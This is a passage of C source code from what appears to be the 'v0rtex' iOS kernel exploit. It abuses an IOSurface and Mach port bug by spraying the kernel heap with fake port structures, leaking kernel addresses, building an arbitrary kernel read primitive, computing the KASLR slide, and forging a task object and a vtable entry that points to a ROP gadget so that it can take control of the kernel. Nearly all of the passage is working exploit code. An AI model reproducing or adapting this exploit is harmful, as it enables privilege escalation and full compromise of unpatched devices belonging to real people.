163 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
164 | InP->Head.msgh_remote_port = task;
165 | InP->Head.msgh_local_port = mig_get_reply_port();
166 | InP->Head.msgh_id = 3228;
167 | InP->Head.msgh_reserved = 0;
168 |
169 | kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
170 | if(ret == KERN_SUCCESS)
171 | {
172 | ret = OutP->RetCode;
173 | }
174 | if(ret == KERN_SUCCESS)
175 | {
176 | *context = OutP->context;
177 | }
178 | return ret;
179 | }
180 |
181 | kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context)
182 | {
183 | #pragma pack(4)
184 | typedef struct {
185 | mach_msg_header_t Head;
186 | NDR_record_t NDR;
187 | mach_port_name_t name;
188 | mach_vm_address_t context;
189 | } Request;
190 | typedef struct {
191 | mach_msg_header_t Head;
192 | NDR_record_t NDR;
193 | kern_return_t RetCode;
194 | mach_msg_trailer_t trailer;
195 | } Reply;
196 | #pragma pack()
197 |
198 | union {
199 | Request In;
200 | Reply Out;
201 | } Mess;
202 |
203 | Request *InP = &Mess.In;
204 | Reply *OutP = &Mess.Out;
205 |
206 | InP->NDR = NDR_record;
207 | InP->name = name;
208 | InP->context = context;
209 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
210 | InP->Head.msgh_remote_port = task;
211 | InP->Head.msgh_local_port = mig_get_reply_port();
212 | InP->Head.msgh_id = 3229;
213 | InP->Head.msgh_reserved = 0;
214 |
215 | kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
216 | if(ret == KERN_SUCCESS)
217 | {
218 | ret = OutP->RetCode;
219 | }
220 | return ret;
221 | }
222 |
223 | // Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance.
224 | // Prepare everything - sched_yield() - fire.
225 | static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len)
226 | {
227 | #pragma pack(4)
228 | typedef struct {
229 | mach_msg_header_t Head;
230 | NDR_record_t NDR;
231 | uint32_t selector;
232 | mach_msg_type_number_t scalar_inputCnt;
233 | mach_msg_type_number_t inband_inputCnt;
234 | uint32_t inband_input[4];
235 | mach_vm_address_t ool_input;
236 | mach_vm_size_t ool_input_size;
237 | mach_msg_type_number_t inband_outputCnt;
238 | mach_msg_type_number_t scalar_outputCnt;
239 | mach_vm_address_t ool_output;
240 | mach_vm_size_t ool_output_size;
241 | } DeleteRequest;
242 | typedef struct {
243 | mach_msg_header_t Head;
244 | NDR_record_t NDR;
245 | uint32_t selector;
246 | mach_msg_type_number_t scalar_inputCnt;
247 | mach_msg_type_number_t inband_inputCnt;
248 | mach_vm_address_t ool_input;
249 | mach_vm_size_t ool_input_size;
250 | mach_msg_type_number_t inband_outputCnt;
251 | mach_msg_type_number_t scalar_outputCnt;
252 | mach_vm_address_t ool_output;
253 | mach_vm_size_t ool_output_size;
254 | } SetRequest;
255 | typedef struct {
256 | mach_msg_header_t Head;
257 | NDR_record_t NDR;
258 | kern_return_t RetCode;
259 | mach_msg_type_number_t inband_outputCnt;
260 | char inband_output[4096];
261 | mach_msg_type_number_t scalar_outputCnt;
262 | uint64_t scalar_output[16];
263 | mach_vm_size_t ool_output_size;
264 | mach_msg_trailer_t trailer;
265 | } Reply;
266 | #pragma pack()
267 |
268 | // Delete
269 | union {
270 | DeleteRequest In;
271 | Reply Out;
272 | } DMess;
273 |
274 | DeleteRequest *DInP = &DMess.In;
275 | Reply *DOutP = &DMess.Out;
276 |
277 | DInP->NDR = NDR_record;
278 | DInP->selector = IOSURFACE_DELETE_VALUE;
279 | DInP->scalar_inputCnt = 0;
280 |
281 | DInP->inband_input[0] = surfaceId;
282 | DInP->inband_input[2] = transpose(propertyId);
283 | DInP->inband_input[3] = 0x0; // Null terminator
284 | DInP->inband_inputCnt = sizeof(DInP->inband_input);
285 |
286 | DInP->ool_input = 0;
287 | DInP->ool_input_size = 0;
288 |
289 | DInP->inband_outputCnt = sizeof(uint32_t);
290 | DInP->scalar_outputCnt = 0;
291 | DInP->ool_output = 0;
292 | DInP->ool_output_size = 0;
293 |
294 | DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
295 | DInP->Head.msgh_remote_port = client;
296 | DInP->Head.msgh_local_port = mig_get_reply_port();
297 | DInP->Head.msgh_id = 2865;
298 | DInP->Head.msgh_reserved = 0;
299 |
300 | // Set
301 | union {
302 | SetRequest In;
303 | Reply Out;
304 | } SMess;
305 |
306 | SetRequest *SInP = &SMess.In;
307 | Reply *SOutP = &SMess.Out;
308 |
309 | SInP->NDR = NDR_record;
310 | SInP->selector = IOSURFACE_SET_VALUE;
311 | SInP->scalar_inputCnt = 0;
312 |
313 | SInP->inband_inputCnt = 0;
314 |
315 | SInP->ool_input = (mach_vm_address_t)buf;
316 | SInP->ool_input_size = len;
317 |
318 | SInP->inband_outputCnt = sizeof(uint32_t);
319 | SInP->scalar_outputCnt = 0;
320 | SInP->ool_output = 0;
321 | SInP->ool_output_size = 0;
322 |
323 | SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
324 | SInP->Head.msgh_remote_port = client;
325 | SInP->Head.msgh_local_port = mig_get_reply_port();
326 | SInP->Head.msgh_id = 2865;
327 | SInP->Head.msgh_reserved = 0;
328 |
329 | // Deep breath
330 | sched_yield();
331 |
332 | // Fire
333 | kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
334 | if(ret == KERN_SUCCESS)
335 | {
336 | ret = DOutP->RetCode;
337 | }
338 | if(ret != KERN_SUCCESS)
339 | {
340 | return ret;
341 | }
342 | ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
343 | if(ret == KERN_SUCCESS)
344 | {
345 | ret = SOutP->RetCode;
346 | }
347 | return ret;
348 | }
349 |
350 | #ifdef __LP64__
351 | typedef struct
352 | {
353 | kptr_t prev;
354 | kptr_t next;
355 | kptr_t start;
356 | kptr_t end;
357 | } kmap_hdr_t;
358 | #endif
359 |
360 | typedef struct {
361 | uint32_t ip_bits;
362 | uint32_t ip_references;
363 | struct {
364 | kptr_t data;
365 | uint32_t type;
366 | uint32_t pad;
367 | } ip_lock; // spinlock
368 | struct {
369 | struct {
370 | struct {
371 | uint32_t flags;
372 | uint32_t waitq_interlock;
373 | uint64_t waitq_set_id;
374 | uint64_t waitq_prepost_id;
375 | struct {
376 | kptr_t next;
377 | kptr_t prev;
378 | } waitq_queue;
379 | } waitq;
380 | kptr_t messages;
381 | natural_t seqno;
382 | natural_t receiver_name;
383 | uint16_t msgcount;
384 | uint16_t qlimit;
385 | uint32_t pad;
386 | } port;
387 | kptr_t klist;
388 | } ip_messages;
389 | kptr_t ip_receiver;
390 | kptr_t ip_kobject;
391 | kptr_t ip_nsrequest;
392 | kptr_t ip_pdrequest;
393 | kptr_t ip_requests;
394 | kptr_t ip_premsg;
395 | uint64_t ip_context;
396 | natural_t ip_flags;
397 | natural_t ip_mscount;
398 | natural_t ip_srights;
399 | natural_t ip_sorights;
400 | } kport_t;
401 |
402 | typedef struct {
403 | union {
404 | kptr_t port;
405 | natural_t index;
406 | } notify;
407 | union {
408 | natural_t name;
409 | kptr_t size;
410 | } name;
411 | } kport_request_t;
412 |
413 | typedef union
414 | {
415 | struct {
416 | struct {
417 | kptr_t data;
418 | uint64_t pad : 24,
419 | type : 8,
420 | reserved : 32;
421 | } lock; // mutex lock
422 | uint32_t ref_count;
423 | uint32_t active;
424 | uint32_t halting;
425 | uint32_t pad;
426 | kptr_t map;
427 | } a;
428 | struct {
429 | char pad[OFFSET_TASK_ITK_SELF];
430 | kptr_t itk_self;
431 | } b;
432 | } ktask_t;
433 |
434 | kern_return_t v0rtex(task_t *tfp0, kptr_t *kslide, kptr_t *kernucred, kptr_t *selfproc)
435 | {
436 | kern_return_t retval = KERN_FAILURE,
437 | ret;
438 | task_t self = mach_task_self();
439 | host_t host = mach_host_self();
440 |
441 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
442 | LOG("service: %x", service);
443 | if(!MACH_PORT_VALID(service))
444 | {
445 | goto out0;
446 | }
447 |
448 | io_connect_t client = MACH_PORT_NULL;
449 | ret = IOServiceOpen(service, self, 0, &client);
450 | LOG("client: %x, %s", client, mach_error_string(ret));
451 | if(ret != KERN_SUCCESS)
452 | {
453 | goto out0;
454 | }
455 | if(!MACH_PORT_VALID(client))
456 | {
457 | ret = KERN_FAILURE;
458 | goto out0;
459 | }
460 |
461 | uint32_t dict_create[] =
462 | {
463 | kOSSerializeMagic,
464 | kOSSerializeEndCollection | kOSSerializeDictionary | 1,
465 |
466 | kOSSerializeSymbol | 19,
467 | 0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize"
468 | kOSSerializeEndCollection | kOSSerializeNumber | 32,
469 | 0x1000,
470 | 0x0,
471 | };
472 | union
473 | {
474 | char _padding[0x3c8]; // XXX 0x6c8 for iOS 11
475 | struct
476 | {
477 | mach_vm_address_t addr1;
478 | mach_vm_address_t addr2;
479 | uint32_t id;
480 | } data;
481 | } surface;
482 | size_t size = sizeof(surface);
483 | ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size);
484 | LOG("newSurface: %s", mach_error_string(ret));
485 | if(ret != KERN_SUCCESS)
486 | {
487 | goto out1;
488 | }
489 |
490 | mach_port_t realport = MACH_PORT_NULL;
491 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport);
492 | LOG("realport: %x, %s", realport, mach_error_string(ret));
493 | if(ret != KERN_SUCCESS || !MACH_PORT_VALID(realport))
494 | {
495 | goto out1;
496 | }
497 |
498 | sched_yield();
499 | // Clean out full pages already in freelists
500 | ret = my_mach_zone_force_gc(host);
501 | if(ret != KERN_SUCCESS)
502 | {
503 | LOG("mach_zone_force_gc: %s", mach_error_string(ret));
504 | goto out1;
505 | }
506 |
507 | #define NUM_BEFORE 0x1000
508 | mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL };
509 | for(size_t i = 0; i < NUM_BEFORE; ++i)
510 | {
511 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]);
512 | if(ret != KERN_SUCCESS)
513 | {
514 | LOG("mach_port_allocate: %s", mach_error_string(ret));
515 | goto out2;
516 | }
517 | }
518 |
519 | mach_port_t port = MACH_PORT_NULL;
520 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &port);
521 | if(ret != KERN_SUCCESS)
522 | {
523 | LOG("mach_port_allocate: %s", mach_error_string(ret));
524 | goto out2;
525 | }
526 | if(!MACH_PORT_VALID(port))
527 | {
528 | LOG("port: %x", port);
529 | ret = KERN_FAILURE;
530 | goto out2;
531 | }
532 |
533 | #define NUM_AFTER 0x100
534 | mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL };
535 | for(size_t i = 0; i < NUM_AFTER; ++i)
536 | {
537 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]);
538 | if(ret != KERN_SUCCESS)
539 | {
540 | LOG("mach_port_allocate: %s", mach_error_string(ret));
541 | goto out3;
542 | }
543 | }
544 |
545 | LOG("port: %x", port);
546 |
547 | ret = _kernelrpc_mach_port_insert_right_trap(self, port, port, MACH_MSG_TYPE_MAKE_SEND);
548 | LOG("mach_port_insert_right: %s", mach_error_string(ret));
549 | if(ret != KERN_SUCCESS)
550 | {
551 | goto out3;
552 | }
553 |
554 | // There seems to be some weird asynchronity with freeing on IOConnectCallAsyncStructMethod,
555 | // which sucks. To work around it, I register the port to be freed on my own task (thus increasing refs),
556 | // sleep after the connect call and register again, thus releasing the reference synchronously.
557 | ret = mach_ports_register(self, &port, 1);
558 | LOG("mach_ports_register: %s", mach_error_string(ret));
559 | if(ret != KERN_SUCCESS)
560 | {
561 | goto out3;
562 | }
563 |
564 | uint64_t ref;
565 | uint64_t in[3] = { 0, 0x666, 0 };
566 | IOConnectCallAsyncStructMethod(client, 17, realport, &ref, 1, in, sizeof(in), NULL, NULL);
567 | IOConnectCallAsyncStructMethod(client, 17, port, &ref, 1, in, sizeof(in), NULL, NULL);
568 |
569 | LOG("herp derp");
570 | usleep(100000);
571 |
572 | sched_yield();
573 | ret = mach_ports_register(self, &client, 1); // gonna use that later
574 | LOG("mach_ports_register: %s", mach_error_string(ret));
575 | if(ret != KERN_SUCCESS)
576 | {
577 | goto out3;
578 | }
579 |
580 | // Prevent cleanup
581 | mach_port_t fakeport = port;
582 | port = MACH_PORT_NULL;
583 |
584 | #define DATA_SIZE 0x1000
585 | uint32_t dict[DATA_SIZE / sizeof(uint32_t) + 7] =
586 | {
587 | // Some header or something
588 | surface.data.id,
589 | 0x0,
590 |
591 | kOSSerializeMagic,
592 | kOSSerializeEndCollection | kOSSerializeArray | 2,
593 |
594 | kOSSerializeString | (DATA_SIZE - 1),
595 | };
596 | dict[DATA_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4;
597 |
598 | // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9
599 | // is actually 0x1000, so references to our reallocated memory may be shifted
600 | // by (0x1000 % sizeof(kport_t))
601 | kport_t triple_kport =
602 | {
603 | .ip_lock =
604 | {
605 | .data = 0x0,
606 | .type = 0x11,
607 | },
608 | .ip_messages =
609 | {
610 | .port =
611 | {
612 | .waitq =
613 | {
614 | .waitq_queue =
615 | {
616 | .next = 0x0,
617 | .prev = 0x11,
618 | }
619 | },
620 | },
621 | },
622 | .ip_nsrequest = 0x0,
623 | .ip_pdrequest = 0x11,
624 | };
625 | for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
626 | {
627 | *(volatile kport_t*)ptr = triple_kport;
628 | }
629 |
630 | sched_yield();
631 | for(size_t i = NUM_AFTER; i > 0; --i)
632 | {
633 | if(MACH_PORT_VALID(after[i - 1]))
634 | {
635 | _kernelrpc_mach_port_destroy_trap(self, after[i - 1]);
636 | after[i - 1] = MACH_PORT_NULL;
637 | }
638 | }
639 | for(size_t i = NUM_BEFORE; i > 0; --i)
640 | {
641 | if(MACH_PORT_VALID(before[i - 1]))
642 | {
643 | _kernelrpc_mach_port_destroy_trap(self, before[i - 1]);
644 | before[i - 1] = MACH_PORT_NULL;
645 | }
646 | }
647 |
648 | ret = my_mach_zone_force_gc(host);
649 | if(ret != KERN_SUCCESS)
650 | {
651 | LOG("mach_zone_force_gc: %s", mach_error_string(ret));
652 | goto out3;
653 | }
654 |
655 | for(uint32_t i = 0; i < 0x2000; ++i)
656 | {
657 | dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(i);
658 | volatile kport_t *dptr = (kport_t*)&dict[5];
659 | for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j)
660 | {
661 | dptr[j].ip_context = (dptr[j].ip_context & 0xffffffff) | ((uint64_t)(0x10000000 | i) << 32);
662 | dptr[j].ip_messages.port.pad = 0x20000000 | i;
663 | dptr[j].ip_lock.pad = 0x30000000 | i;
664 | }
665 | uint32_t dummy;
666 | size = sizeof(dummy);
667 | ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size);
668 | if(ret != KERN_SUCCESS)
669 | {
670 | LOG("setValue(%u): %s", i, mach_error_string(ret));
671 | goto out3;
672 | }
673 | }
674 |
675 | uint64_t ctx = 0xffffffff;
676 | ret = my_mach_port_get_context(self, fakeport, &ctx);
677 | LOG("mach_port_get_context: 0x%016llx, %s", ctx, mach_error_string(ret));
678 | if(ret != KERN_SUCCESS)
679 | {
680 | goto out3;
681 | }
682 |
683 | uint32_t shift_mask = ctx >> 60;
684 | if(shift_mask < 1 || shift_mask > 3)
685 | {
686 | LOG("Invalid shift mask.");
687 | goto out3;
688 | }
689 | uint32_t shift_off = sizeof(kport_t) - (((shift_mask - 1) * 0x1000) % sizeof(kport_t));
690 |
691 | uint32_t idx = (ctx >> 32) & 0xfffffff;
692 | dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(idx);
693 | uint32_t request[] =
694 | {
695 | // Same header
696 | surface.data.id,
697 | 0x0,
698 |
699 | transpose(idx), // Key
700 | 0x0, // Null terminator
701 | };
702 | kport_t kport =
703 | {
704 | .ip_bits = 0x80000000, // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE
705 | .ip_references = 100,
706 | .ip_lock =
707 | {
708 | .type = 0x11,
709 | },
710 | .ip_messages =
711 | {
712 | .port =
713 | {
714 | .receiver_name = 1,
715 | .msgcount = MACH_PORT_QLIMIT_KERNEL,
716 | .qlimit = MACH_PORT_QLIMIT_KERNEL,
717 | },
718 | },
719 | .ip_srights = 99,
720 | };
721 |
722 | for(uintptr_t ptr = (uintptr_t)&dict[5] + shift_off, end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
723 | {
724 | *(volatile kport_t*)ptr = kport;
725 | }
726 |
727 | ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));
728 | LOG("reallocate_buf: %s", mach_error_string(ret));
729 | if(ret != KERN_SUCCESS)
730 | {
731 | goto out3;
732 | }
733 |
734 | // Register realport on fakeport
735 | mach_port_t notify = MACH_PORT_NULL;
736 | ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify);
737 | LOG("mach_port_request_notification(realport): %x, %s", notify, mach_error_string(ret));
738 | if(ret != KERN_SUCCESS)
739 | {
740 | goto out3;
741 | }
742 |
743 | uint32_t response[4 + (DATA_SIZE / sizeof(uint32_t))] = { 0 };
744 | size = sizeof(response);
745 | ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);
746 | LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret));
747 | if(ret != KERN_SUCCESS)
748 | {
749 | goto out3;
750 | }
751 | if(size < DATA_SIZE + 0x10)
752 | {
753 | LOG("Response too short.");
754 | goto out3;
755 | }
756 |
757 | uint32_t fakeport_off = -1;
758 | kptr_t realport_addr = 0;
759 | for(uintptr_t ptr = (uintptr_t)&response[4] + shift_off, end = (uintptr_t)&response[4] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
760 | {
761 | kptr_t val = ((volatile kport_t*)ptr)->ip_pdrequest;
762 | if(val)
763 | {
764 | fakeport_off = ptr - (uintptr_t)&response[4];
765 | realport_addr = val;
766 | break;
767 | }
768 | }
769 | if(!realport_addr)
770 | {
771 | LOG("Failed to leak realport address");
772 | goto out3;
773 | }
774 | LOG("realport addr: " ADDR, realport_addr);
775 | volatile kport_t *fakeport_buf = (volatile kport_t*)((uintptr_t)&dict[5] + fakeport_off);
776 |
777 | // Register fakeport on itself (and clean ref on realport)
778 | notify = MACH_PORT_NULL;
779 | ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, fakeport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify);
780 | LOG("mach_port_request_notification(fakeport): %x, %s", notify, mach_error_string(ret));
781 | if(ret != KERN_SUCCESS)
782 | {
783 | goto out3;
784 | }
785 |
786 | size = sizeof(response);
787 | ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);
788 | LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret));
789 | if(ret != KERN_SUCCESS)
790 | {
791 | goto out3;
792 | }
793 | if(size < DATA_SIZE + 0x10)
794 | {
795 | LOG("Response too short.");
796 | goto out3;
797 | }
798 | kptr_t fakeport_addr = ((volatile kport_t*)((uintptr_t)&response[4] + fakeport_off))->ip_pdrequest;
799 | if(!realport_addr)
800 | {
801 | LOG("Failed to leak fakeport address");
802 | goto out3;
803 | }
804 | LOG("fakeport addr: " ADDR, fakeport_addr);
805 | kptr_t fake_addr = fakeport_addr - fakeport_off;
806 |
807 | kport_request_t kreq;
808 | kport.ip_requests = fakeport_addr + ((uintptr_t)&kport.ip_context - (uintptr_t)&kport) - ((uintptr_t)&kreq.name.size - (uintptr_t)&kreq);
809 | *fakeport_buf = kport;
810 |
811 | ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));
812 | LOG("reallocate_buf: %s", mach_error_string(ret));
813 | if(ret != KERN_SUCCESS)
814 | {
815 | goto out3;
816 | }
817 |
818 | #define KREAD(addr, buf, len) \
819 | do \
820 | { \
821 | for(size_t i = 0; i < ((len) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \
822 | { \
823 | ret = my_mach_port_set_context(self, fakeport, (addr) + i * sizeof(uint32_t)); \
824 | if(ret != KERN_SUCCESS) \
825 | { \
826 | LOG("mach_port_set_context: %s", mach_error_string(ret)); \
827 | goto out3; \
828 | } \
829 | mach_msg_type_number_t outsz = 1; \
830 | ret = mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(buf) + i), &outsz); \
831 | if(ret != KERN_SUCCESS) \
832 | { \
833 | LOG("mach_port_get_attributes: %s", mach_error_string(ret)); \
834 | goto out3; \
835 | } \
836 | } \
837 | } while(0)
838 |
839 | kptr_t itk_space = 0;
840 | KREAD(realport_addr + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &itk_space, sizeof(itk_space));
841 | LOG("itk_space: " ADDR, itk_space);
842 | if(!itk_space)
843 | {
844 | goto out3;
845 | }
846 |
847 | kptr_t self_task = 0;
848 | KREAD(itk_space + OFFSET_IPC_SPACE_IS_TASK, &self_task, sizeof(self_task));
849 | LOG("self_task: " ADDR, self_task);
850 | if(!self_task)
851 | {
852 | goto out3;
853 | }
854 |
855 | kptr_t IOSurfaceRootUserClient_port = 0;
856 | KREAD(self_task + OFFSET_TASK_ITK_REGISTERED, &IOSurfaceRootUserClient_port, sizeof(IOSurfaceRootUserClient_port));
857 | LOG("IOSurfaceRootUserClient port: " ADDR, IOSurfaceRootUserClient_port);
858 | if(!IOSurfaceRootUserClient_port)
859 | {
860 | goto out3;
861 | }
862 |
863 | kptr_t IOSurfaceRootUserClient_addr = 0;
864 | KREAD(IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), &IOSurfaceRootUserClient_addr, sizeof(IOSurfaceRootUserClient_addr));
865 | LOG("IOSurfaceRootUserClient addr: " ADDR, IOSurfaceRootUserClient_addr);
866 | if(!IOSurfaceRootUserClient_addr)
867 | {
868 | goto out3;
869 | }
870 |
871 | kptr_t IOSurfaceRootUserClient_vtab = 0;
872 | KREAD(IOSurfaceRootUserClient_addr, &IOSurfaceRootUserClient_vtab, sizeof(IOSurfaceRootUserClient_vtab));
873 | LOG("IOSurfaceRootUserClient vtab: " ADDR, IOSurfaceRootUserClient_vtab);
874 | if(!IOSurfaceRootUserClient_vtab)
875 | {
876 | goto out3;
877 | }
878 |
879 | kptr_t slide = IOSurfaceRootUserClient_vtab - OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
880 | LOG("slide: " ADDR, slide);
881 | if((slide % 0x100000) != 0)
882 | {
883 | goto out3;
884 | }
885 | #define OFF(name) (OFFSET_ ## name + slide)
886 |
887 | ret = mach_ports_register(self, NULL, 0);
888 | LOG("mach_ports_register: %s", mach_error_string(ret));
889 | if(ret != KERN_SUCCESS)
890 | {
891 | goto out3;
892 | }
893 |
894 | kptr_t zone_map_addr = 0;
895 | KREAD(OFF(ZONE_MAP), &zone_map_addr, sizeof(zone_map_addr));
896 | LOG("zone_map: " ADDR, zone_map_addr);
897 | if(!zone_map_addr)
898 | {
899 | goto out3;
900 | }
901 |
902 | kptr_t vtab[0x600 / sizeof(kptr_t)] = { 0 };
903 | KREAD(IOSurfaceRootUserClient_vtab, vtab, sizeof(vtab));
904 | vtab[OFFSET_VTAB_GET_EXTERNAL_TRAP_FOR_INDEX / sizeof(kptr_t)] = OFF(ROP_ADD_X0_X0_0x10);
905 |
906 | uint32_t faketask_off = fakeport_off < sizeof(ktask_t) ? fakeport_off + sizeof(kport_t) : 0;
907 | faketask_off = KPTR_ALIGN(faketask_off);
908 | volatile ktask_t *faketask_buf = (volatile ktask_t*)((uintptr_t)&dict[5] + faketask_off);
909 |
910 | ktask_t ktask;
911 | ktask.a.lock.data = 0x0;
912 | ktask.a.lock.type = 0x22;
913 | ktask.a.ref_count = 100;
914 | ktask.a.active = 1;
915 | ktask.a.map = zone_map_addr;
916 | ktask.b.itk_self = 1;
917 | *faketask_buf = ktask;
918 |
919 | kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
920 | kport.ip_kobject = fake_addr + faketask_off;
921 |
922 | kport.ip_requests = 0;
923 | *fakeport_buf = kport;
924 |
925 | #undef KREAD
926 | ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));
927 | LOG("reallocate_buf: %s", mach_error_string(ret));
928 | if(ret != KERN_SUCCESS)
929 | {
930 | goto out3;
931 | }
932 |
933 | mach_vm_address_t shmem_addr = 0;
934 | vm_prot_t cur = 0,
935 | max = 0;
936 | ret = mach_vm_remap(self, &shmem_addr, DATA_SIZE, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE);
937 | LOG("mach_vm_remap: %s", mach_error_string(ret));
938 | if(ret != KERN_SUCCESS)
939 | {
940 | goto out3;
941 | }
942 | LOG("shmem_addr: 0x%016llx", shmem_addr);
943 | fakeport_buf = (volatile kport_t*)(shmem_addr + fakeport_off);
944 |
945 | uint32_t vtab_off = fakeport_off < sizeof(vtab) ? fakeport_off + sizeof(kport_t) : 0;
946 | vtab_off = KPTR_ALIGN(vtab_off);
947 | kptr_t vtab_addr = fake_addr + vtab_off;
948 | LOG("vtab addr: " ADDR, vtab_addr);
949 | volatile kptr_t *vtab_buf = (volatile kptr_t*)(shmem_addr + vtab_off);
950 | for(volatile char *src = (volatile char*)vtab, *dst = (volatile char*)vtab_buf, *end = src + sizeof(vtab); src < end; *(dst++) = *(src++));
951 |
952 | #define MAXRANGES 5
953 | struct {
954 | uint32_t start;
955 | uint32_t end;
956 | } ranges[MAXRANGES] =
957 | {
958 | { fakeport_off, (uint32_t)(fakeport_off + sizeof(kport_t)) },
959 | { vtab_off, (uint32_t)(vtab_off + sizeof(vtab)) },
960 | };
961 | size_t numranges = 2;
962 | #define FIND_RANGE(var, size) \
963 | do \
964 | { \
965 | if(numranges >= MAXRANGES) \
966 | { \
967 | LOG("FIND_RANGE(" #var "): ranges array too small"); \
968 | goto out3; \
969 | } \
970 | for(int32_t i = 0; i < numranges; ++i) \
971 | { \
972 | uint32_t end = var + (uint32_t)(size); \
973 | if( \
974 | (var >= ranges[i].start && var < ranges[i].end) || \
975 | (end >= ranges[i].start && var < ranges[i].end) \
976 | ) \
977 | { \
978 | var = KPTR_ALIGN(ranges[i].end); \
979 | i = -1; \
980 | } \
981 | } \
982 | if(var + (uint32_t)(size) > DATA_SIZE) \
983 | { \
984 | LOG("FIND_RANGE(" #var ") out of range: 0x%x-0x%x", var, var + (uint32_t)(size)); \
985 | goto out3; \
986 | } \
987 | ranges[numranges].start = var; \
988 | ranges[numranges].end = var + (uint32_t)(size); \
989 | ++numranges; \
990 | } while(0)
991 |
992 | typedef union
993 | {
994 | struct {
995 | // IOUserClient fields
996 | kptr_t vtab;
997 | uint32_t refs;
998 | uint32_t pad;
999 | // IOExternalTrap fields
1000 | kptr_t obj;
1001 | kptr_t func;
1002 | uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing
1003 | } a;
1004 | struct {
1005 | char pad[OFFSET_IOUSERCLIENT_IPC];
1006 | int32_t __ipc;
1007 | } b;
1008 | } kobj_t;
1009 |
1010 | uint32_t fakeobj_off = 0;
1011 | FIND_RANGE(fakeobj_off, sizeof(kobj_t));
1012 | kptr_t fakeobj_addr = fake_addr + fakeobj_off;
1013 | LOG("fakeobj addr: " ADDR, fakeobj_addr);
1014 | volatile kobj_t *fakeobj_buf = (volatile kobj_t*)(shmem_addr + fakeobj_off);
1015 | for(volatile char *ptr = (volatile char*)fakeobj_buf, *end = ptr + sizeof(*fakeobj_buf); ptr < end; *(ptr++) = 0);
1016 |
